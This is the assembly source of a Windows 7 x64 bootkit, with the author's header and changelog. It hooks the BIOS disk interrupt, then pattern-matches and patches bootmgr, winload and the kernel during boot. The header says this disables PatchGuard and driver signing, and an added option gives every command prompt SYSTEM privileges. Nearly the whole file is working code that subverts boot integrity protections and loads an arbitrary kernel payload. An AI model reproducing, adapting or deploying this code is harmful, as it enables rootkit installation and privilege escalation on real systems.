1 ;------------------------------------------------------------------------------
  2 ; this bootkit disables patchguard and driver signing from win7 x64 machines.
  3 ; tested with Windows 7 6.1.7601, should work with newer versions too.
  4 ; works with truecrypted volume.
  5 ;
  6 ; patches g_CiEnabled and uses InitSafeMode trick by fyyre
  7 ; http://fyyre.ivory-tower.de/projects/bootloader.txt
  8 ;
  9 ; the code is written for reverse engineers and hackers, not for end-users.
 10 ; please don't touch if you don't know what you're doing.
 11 ; seriously, someone might die.
 12 ;
 13 ; deffi
 14 ; 8/7/2012
 15 ;------------------------------------------------------------------------------
 16 ; changelog
 17 ;
 18 ; [8/7/2012]
 19 ; - restructured the code a little. added a cd-rom bootloader. adding support
 20 ;   for floppy or usb disk booting should be trivial now (writing a bootldr)
 21 ; - added a privelege escalation option. all cmd.exe's should start now with
 22 ;   system privileges
 23 ;
 24 ; [11/3/2012]
 25 ; - kernel update broke the previous version..
 26 ; - the code now uses patterns/signatures to find the patch locations, so this
 27 ;   version might survive the next couple of updates
 28 ; - bug fixes
 29 ;
 30 ; [24/7/2011]
 31 ; - the first version, everything works
 32 ;------------------------------------------------------------------------------
 33 ; todo:
 34 ; - currently the iso bootloader assumes that disk reads do not fail
 35 ; - bootkit size in CD sectors etc are hardcoded. use FASM's virtual directive
 36 ;   to calculate the size, labels may not work
 37 ; - ask user whether she wants use the privilege escalation or not
 38 ; - booting off of a usb flash disk or floppy
 39 ;
 40 ; maybe:
 41 ; - make it easy to add custom payloads and (rootkit ;)) drivers
 42 ;------------------------------------------------------------------------------
 43 ; see notes.txt for details of the patches
 44 ;------------------------------------------------------------------------------
 45 BASE                            equ     5000h
 46 BMMAIN_ADDR                     equ       401000h
 47 
 48 macro defsz pattern {
 49   virtual
 50     pattern
 51     .l = $-$$
 52   end virtual
 53   #pattern#_SIZE = .l shr 1
 54 }
 55 
 56 BOOTMGR16_PATCH_PATTERN         equ \
 57         db 066h,052h,066h,055h,066h,033h,0edh,066h,06ah,020h,066h,053h,066h,0cbh, \
 58            001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h
 59 defsz BOOTMGR16_PATCH_PATTERN
 60 BOOTMGR16_PATCH_OFFSET          equ     000h
 61 
 62 BOOTMGR32_PATCH_PATTERN         equ \
 63         db 00fh,0bah,0e8h,008h,00fh,030h,00fh,020h,0c0h,00dh,000h,000h,000h,080h,00fh,022h,0c0h,0ebh,000h,\
 64            001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h
 65 defsz BOOTMGR32_PATCH_PATTERN
 66 BOOTMGR32_PATCH_OFFSET          equ     035h
 67 
 68 WINLOAD_PATCH_PATTERN           equ \
 69         db 00fh,020h,0e0h,048h,00dh,080h,006h,000h,000h,00fh,022h,0e0h,00fh,020h,0c0h,048h,00dh,020h,000h,005h,000h,00fh,022h,0c0h, \
 70            001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h,001h
 71 defsz WINLOAD_PATCH_PATTERN
 72 WINLOAD_PATCH_OFFSET            equ       -02ah
 73 
 74 ;------------------------------------------------------------------------------
 75 ; bootloader loads us @ 0000:BASE
 76 ;------------------------------------------------------------------------------
 77         org BASE
 78 main:   ; ask if the user wants to disable pg
 79         push cs
 80         pop ds
 81         call @f
 82         db "disable patchguard? (y/n)",0dh,0ah,0
 83 @@:     pop si
 84         call printstr
 85 
 86 @@:     call getch
 87         cmp al, 'y'
 88         jz .hook
 89         cmp al, 'n'
 90         jz .exit
 91         jmp @b
 92 
 93         ; hook int 13h from the interrupt vector table
 94         ; IVT starts @ offset 0:0
 95 .hook:  xor ax, ax
 96         mov ds, ax
 97         mov eax, [ds:13h*4]
 98         mov [ds:org_int13h], eax
 99         mov word [ds:13h*4], int13h_hook
100         mov [ds:13h*4+2], cs
101 
102         ; read the original mbr
103 .exit:  xor ax, ax
104         mov es, ax
105         mov dl, 80h    ; hard disk 1
106         mov ax, 201h   ; read the 1st sector
107         mov cx, 1
108         mov bx, 7c00h  ; output to 7c00h
109         int 13h
110 
111         ; jump to the mbr
112         cli
113         mov dl, 80h
114         mov dh, 0
115         xor ax, ax
116         mov si, ax
117         mov ds, ax
118         mov es, ax
119         mov ss, ax
120         mov sp, 7c00h
121         sti
122         jmp far 0:07c00h
123 
124 ;------------------------------------------------------------------------------
125 ; int13 hook. cs = 0
126 ;------------------------------------------------------------------------------
127 int13h_hook:
128         pushf
129         cmp ah, 2h     ; sector read
130         jz @f
131         cmp ah, 42h    ; extended read
132         jz @f
133         popf
134         jmp far [cs:org_int13h]
135 
136 @@:     ;popf
137         ;pushf
138         call far [cs:org_int13h]
139 
140         ; check if bootmgr has been loaded
141         pushf
142         pusha
143         push ds
144         push es
145 
146         ; void* search(edi=input, ecx=input_len, esi=pattern, edx=pattern_len)
147         ; search BOOTMGR16_PATCH_PATTERN from 20500h-21500h
148         push cs
149         pop ds
150         call @f
151         BOOTMGR16_PATCH_PATTERN
152 @@:     pop si
153         mov dx, BOOTMGR16_PATCH_PATTERN_SIZE
154         mov cx, 2000h
155         push 2000h     ; 16bit bootmgr base: 20000h
156         pop es
157         mov di, 500h
158         call search_pattern
159         test ax, ax
160         jz .exit
161         add ax, BOOTMGR16_PATCH_OFFSET
162 
163         ; found
164         ; hook the jmp to 32bit BmMain
165         mov di, ax
166         mov si, BOOTMGR16_PATCH
167         mov cx, BOOTMGR16_PATCH.size
168         rep movsb
169 
170         ; TODO: unhook int13
171 
172 .exit:  pop es
173         pop ds
174         popa
175         popf
176 .fail:  retf 2 ;iret
177 
178 org_int13h      dd   ?
179 
180 ;------------------------------------------------------------------------------
181 ; patch stuff
182 ;------------------------------------------------------------------------------
183 BOOTMGR16_PATCH:
184 ;seg000:0A8C                 push    edx                ; 2 bytes due to 66h
185 ;seg000:0A8E                 push    ebp                ; 2 bytes
186 ;seg000:0A90                 xor     ebp, ebp           ; 2 bytes
187         mov ebx, BOOTMGR32_PATCHER                     ; 6 bytes
188 .size = $-BOOTMGR16_PATCH
189 
190 ; im in ur 32-bit bootmgr patchin ur jmp to winload.exe
191 use32
192 BOOTMGR32_PATCHER:
193         ; emulated instructions
194         push edx
195         push ebp
196         xor ebp, ebp
197 
198         pushad
199         call @f
200         BOOTMGR32_PATCH_PATTERN
201 @@:     pop esi
202         mov edx, BOOTMGR32_PATCH_PATTERN_SIZE
203         mov edi, BMMAIN_ADDR
204         mov ecx, 00100000h
205         call search_pattern
206         test eax, eax
207         jz .exit
208         add eax, BOOTMGR32_PATCH_OFFSET
209 
210 ;00000000`00450d42 488b86d01b4900  mov     rax,qword ptr [rsi+491BD0h]   ; bootmgr!BootApp64EntryRoutine
211 ;00000000`00450d49 48ffd0          call    rax                           ; winload!OslMain
212         mov edx, eax
213         mov eax, dword [eax]
214         mov [old_entry_ptr], eax
215         mov dword [edx], new_entry_ptr
216 
217 .exit:  popad
218         jmp 20h:BMMAIN_ADDR
219 
220 use64
221 new_entry_ptr   dq        WINLOAD_PATCHER
222 old_entry_ptr   dd        ?
223 
224 WINLOAD_PATCHER:
225         push rsi
226         push rdi
227         push rdx
228         push rcx
229 
230         ; hook OslArchTransferToKernel (assemble a call to NTOSKRNL_PATCHER)
231         call @f
232         WINLOAD_PATCH_PATTERN
233 @@:     pop rsi
234         mov rdx, WINLOAD_PATCH_PATTERN_SIZE
235 
236         ; ep of winload
237         mov eax, [old_entry_ptr]
238         mov edi, [eax]
239         mov ecx, 000A0000h
240         call search_pattern
241         test rax, rax
242         jz .exit
243 
244 ;winload!OslArchTransferToKernel:
245 ;00000000`00356aa0 4833f6          xor     rsi,rsi       ; overwrite rdx
246 ;00000000`00356aa3 4c8be1          mov     r12,rcx
247 ;00000000`00356aa6 4c8bea          mov     r13,rdx
248         ; write the call
249         lea rdi, [rax+WINLOAD_PATCH_OFFSET]
250         mov al, 0e8h
251         stosb
252         mov eax, NTOSKRNL_PATCHER
253         sub eax, edi
254         sub eax, 4
255         stosd
256         mov eax, 90909090h
257         stosd
258 
259 .exit:  pop rcx
260         pop rdx
261         pop rdi
262         pop rsi
263 
264         mov eax, dword [old_entry_ptr]
265         mov rax, qword [rax]
266         jmp rax
267 
268 NTOSKRNL_PATCHER:
269         xor rsi, rsi
270         mov r12, rcx
271         mov r13, rdx
272         mov r13, CALL_PAYLOAD
273         mov [KiSystemStartup], rdx
274         retn
275 
276 KiSystemStartup dq      ?
277 
278 ;------------------------------------------------------------------------------
279 ; call payload
280 ;------------------------------------------------------------------------------
281 CALL_PAYLOAD:
282         pushfq
283         push rax
284         push rcx
285         push rdx
286         push rbx
287         push rbp
288         push rsi
289         push rdi
290         push r8
291         push r9
292         push r10
293         push r11
294         push r12
295         push r13
296         push r14
297         push r15
298 
299         ; locate the PE header
300         mov rcx, [KiSystemStartup]
301         and rcx, 0fffffffffffff000h
302 .scan_down_mz:
303         cmp word [rcx], 'MZ'
304         jz @f
305         sub rcx, 1000h
306         jmp .scan_down_mz
307 @@:     call payload
308 
309         pop r15
310         pop r14
311         pop r13
312         pop r12
313         pop r11
314         pop r10
315         pop r9
316         pop r8
317         pop rdi
318         pop rsi
319         pop rbp
320         pop rbx
321         pop rdx
322         pop rcx
323         pop rax
324         popfq
325         jmp qword [KiSystemStartup]
326 include 'payload.asm'
327 
328 ;------------------------------------------------------------------------------
329 ; util shit
330 ;------------------------------------------------------------------------------
331 use16
332 getch:  ; wait until a keyboard char is available
333 @@:     mov ah, 1
334         int 16h
335         jz @b
336         xor ah,ah
337         int 16h
338         retn
339 
340 ; al = character
341 ; bl = color
342 printch:
343         mov ah, 0Eh
344         int 10h
345         retn
346 
347 ; ds:si = the string
348 printstr:
349         lodsb
350         test al, al
351         jz .exit
352         call printch
353         jmp printstr
354 .exit:  retn
355 
356 ;------------------------------------------------------------------------------
357 ; an ugly pattern search engine by. deffi
358 ; compiled binary works in real, protected and long mode !
359 ;------------------------------------------------------------------------------
360 ; void* search(edi=input, ecx=input_len, esi=pattern, edx=pattern_len)
361 ;
362 ; parameters:
363 ; - input       address where the search starts
364 ; - pattern     search pattern (followed by mask)
365 ;
366 ;       SearchPattern   db      0e8h, 000h, 000h, 000h, 000h, 0ebh, 0feh
367 ;       SearchMask      db      1,       0,    0,    0,    0,    1,    1
368 ;       (searchmask must begin with 1 !!!)
369 ;
370 ; returns:      ptr to the beginning of the first match in the input or NULL
371 ;------------------------------------------------------------------------------
372 use32
373 search_pattern:
374 ;db 09Ch,055h,056h,057h,053h,06Ah,001h,05Dh,0FCh,029h,0D1h,072h,007h,001h,0E9h,0ACh
375 ;db 0F2h,0AEh,074h,004h,031h,0C0h,0EBh,033h,056h,057h,051h,050h,089h,0D3h,029h,0EAh
376 ;db 074h,021h,089h,0D9h,0F3h,0ACh,0FDh,0ACh,050h,089h,0D9h,029h,0E9h,0F3h,0ACh,058h
377 ;db 0FCh,084h,0C0h,075h,003h,0A6h,0EBh,0E6h,0A6h,074h,0E3h,089h,0DAh,058h,059h,05Fh
378 ;db 05Eh,0EBh,0CDh,058h,059h,05Fh,05Eh,0FDh,0AEh,057h,058h,05Bh,05Fh,05Eh,05Dh,09Dh
379 ;db 0C3h
380 
381         ; don't clobber ebp, esi, edi, ebx, ecx
382         pushf
383         push ebp
384         push esi
385         push edi
386         push ebx
387         push 1
388         pop ebp                ; ebp = 1
389         cld
390 
391         sub ecx, edx
392         jc .fail               ; pattern_len > input_len
393         add ecx, ebp;inc ecx
394 
395         ; search the first matching byte
396         lodsb
397 .loop:  repnz scasb
398         jz .hit
399 .fail:  xor eax, eax
400         jmp .finish
401 .hit:
402         ; save esi, edi, ecx & eax to stack
403         push esi
404         push edi
405         push ecx
406         push eax
407         mov ebx, edx
408 
409         ; edx = pattern_len - matched_bytes
410 .next:  sub edx, ebp
411         jz .match
412 
413         ; check mask (cmp byte [esi+ebx], 0)
414         ;add esi, ebx
415         mov ecx, ebx
416         rep lodsb
417 
418         std
419         lodsb
420         push eax
421           ; sub esi, ebx-1
422           mov ecx, ebx
423           sub ecx, ebp
424           rep lodsb
425         pop eax
426         cld
427 
428         test al, al
429         jnz @f
430         cmpsb ; inc esi, edi
431         jmp .next
432 @@:     cmpsb
433         jz .next
434 
435 .nomatch:
436         mov edx, ebx
437         pop eax
438         pop ecx
439         pop edi
440         pop esi
441         jmp .loop
442 
443         ; pattern matched
444 .match: pop eax
445         pop ecx
446         pop edi
447         pop esi
448 
449         ;dec edi
450         std
451         scasb
452         push edi
453         pop eax
454 
455 .finish:
456         pop ebx
457         pop edi
458         pop esi
459         pop ebp
460         popf
461         retn